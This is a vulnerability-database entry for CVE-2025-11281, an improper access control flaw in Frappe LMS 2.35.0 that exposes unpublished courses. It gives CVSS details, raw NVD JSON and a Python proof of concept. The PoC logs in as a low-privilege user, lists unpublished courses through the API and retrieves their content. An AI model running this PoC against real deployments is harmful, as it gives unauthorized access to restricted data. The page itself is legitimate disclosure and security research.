Security Vulnerability Report
中文
CVE-2025-11281 CVSS 5.0 MEDIUM

CVE-2025-11281

Published: 2025-10-05 04:15:40
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability has been found in Frappe LMS 2.35.0. The affected element is an unknown function of the file /courses/ of the component Unpublished Course Handler. Such manipulation leads to improper access controls. The attack may be launched remotely. This attack is characterized by high complexity. The exploitability is described as difficult. The exploit has been disclosed to the public and may be used. You should upgrade the affected component. The vendor was informed early about a total of four security issues and confirmed that those have been fixed. However, the release notes on GitHub do not mention them.

CVSS Details

CVSS Score
5.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:frappe:learning:2.35.0:*:*:*:*:*:*:* - VULNERABLE
Frappe LMS 2.35.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11281 - Frappe LMS Unpublished Course Access Control Bypass PoC # Vulnerability: Improper Access Controls in Unpublished Course Handler # Affected: Frappe LMS 2.35.0 # Component: /courses/ endpoint import requests # Target configuration TARGET_URL = "https://target-frappe-lms.example.com" USERNAME = "low_privilege_user" PASSWORD = "user_password" # Step 1: Authenticate to obtain session cookies session = requests.Session() login_url = f"{TARGET_URL}/api/method/login" login_payload = { "usr": USERNAME, "pwd": PASSWORD } response = session.post(login_url, json=login_payload) if response.status_code != 200: print("[-] Authentication failed") exit(1) print("[+] Authenticated successfully") # Step 2: Enumerate or obtain unpublished course identifiers # Unpublished courses can be discovered via API or by enumerating course names courses_url = f"{TARGET_URL}/api/method/frappe.client.get_list" courses_payload = { "doctype": "LMS Course", "filters": [["published", "=", 0]], # Filter for unpublished courses "fields": ["name", "title", "description"] } response = session.post(courses_url, json=courses_payload) if response.status_code == 200: unpublished_courses = response.json().get("message", []) print(f"[+] Found {len(unpublished_courses)} unpublished courses") # Step 3: Access unpublished course content directly # The vulnerability allows low-privilege users to access unpublished course details for course in unpublished_courses: course_name = course.get("name") course_url = f"{TARGET_URL}/courses/{course_name}" # Access the course page directly - should be blocked but isn't response = session.get(course_url) if response.status_code == 200: print(f"[+] Successfully accessed unpublished course: {course_name}") # Extract course content from response print(f" Title: {course.get('title')}") print(f" Description: {course.get('description')}") else: print(f"[-] Failed to access course: {course_name}") # Step 4: Alternative - Direct API access to unpublished course content course_detail_url = f"{TARGET_URL}/api/method/frappe.client.get" for course in unpublished_courses: detail_payload = { "doctype": "LMS Course", "name": course.get("name") } response = session.post(course_detail_url, json=detail_payload) if response.status_code == 200: course_data = response.json().get("message", {}) print(f"[+] Retrieved full unpublished course data: {course_data}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11281", "sourceIdentifier": "[email protected]", "published": "2025-10-05T04:15:40.087", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in Frappe LMS 2.35.0. The affected element is an unknown function of the file /courses/ of the component Unpublished Course Handler. Such manipulation leads to improper access controls. The attack may be launched remotely. This attack is characterized by high complexity. The exploitability is described as difficult. The exploit has been disclosed to the public and may be used. You should upgrade the affected component. The vendor was informed early about a total of four security issues and confirmed that those have been fixed. However, the release notes on GitHub do not mention them."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:H/Au:S/C:P/I:P/A:P", "baseScore": 4.6, "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 3.9, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-266"}, {"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frappe:learning:2.35.0:*:*:*:*:*:*:*", "matchCriteriaId": "A4798441-F3FA-420C-B28E-7DB3096A2A2B"}]}]}], "references": [{"url": "https://gist.github.com/0xHamy/5ebd820ad30f33827011e9a614fb2f89", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://gist.github.com/0xHamy/5ebd820ad30f33827011e9a614fb2f89#steps-to-reproduce", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.327015", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327015", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.659695", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://gist.github.com/0xHamy/5ebd820ad30f33827011e9a614fb2f89", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://gist.github.com/0xHamy/5ebd820ad30f33827011e9a614fb2f89#steps-to-reproduce", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?submit.659695", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Expl ... (truncated)